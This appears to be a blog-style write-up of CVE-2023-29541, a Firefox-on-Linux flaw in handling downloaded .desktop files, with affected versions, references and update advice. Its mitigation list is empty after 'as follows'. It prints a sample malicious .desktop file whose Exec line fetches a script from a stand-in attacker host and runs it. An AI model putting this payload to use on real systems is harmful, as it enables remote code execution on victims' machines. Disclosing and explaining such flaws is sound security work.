A recently discovered critical vulnerability, identified as CVE-2023-29541, has been found to affect users of Firefox running on certain Linux distributions. Mozilla has reported that this bug can potentially allow an attacker to execute arbitrary commands on the victim's system, leading to several security concerns. This article will delve into the details of the vulnerability, provide code snippets to demonstrate the exploit, and link to original references for further information on the subject. It is important to note that this vulnerability does not affect all operating systems, and as per Mozilla, they are unable to specify all affected Linux distributions at this time.

Vulnerability Details

Firefox was found to have improper handling of downloads of files with the .desktop extension. These files can be interpreted to run attacker-controlled commands, leading to potential security breaches. The vulnerability is exclusive to Firefox for Linux on specific distributions and does not affect other platforms. The versions of the software impacted by this bug include Firefox < 112, Focus for Android < 112, Firefox ESR < 102.10, Firefox for Android < 112, and Thunderbird < 102.10.

Code Snippet

Assume that a malicious .desktop file, named malicious.desktop, can be created by the attacker with the following contents:

[Desktop Entry]
Version=1.
Name=Malicious
Type=Application
Terminal=true
Exec=/bin/bash -c "wget http://attacker.example.com/malicious_script.sh && chmod +x malicious_script.sh && ./malicious_script.sh"
Icon=utilities-terminal

In this example, the Exec field specifies a command that downloads and executes a malicious script from the attacker's server. When a user downloads and opens this .desktop file, the embedded command will be executed.

Exploit Details

An attacker could exploit this vulnerability by crafting a malicious .desktop file and hosting it on a website or a file server. When a victim downloads the file using an affected version of Firefox and subsequently clicks on the downloaded file, the attacker-controlled command embedded in the .desktop file will be executed on the victim's system. This could lead to severe security risks, including but not limited to unauthorized access, data theft, or installation of ransomware.

Mitigation

Users running vulnerable software versions are advised to update immediately to protect their systems, as follows:

For further information about this vulnerability, refer to the following trusted sources

1. Mozilla Foundation Security Advisory 2023-05
2. CVE-2023-29541
3. NVD - CVE-2023-29541

Summary

CVE-2023-29541 is a critical vulnerability that affects Firefox on certain Linux distributions, potentially enabling attackers to execute arbitrary malicious commands. Users are urged to update their software immediately to mitigate the risks associated with this exploit.

Timeline

Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/09/2023 14:13:00 UTC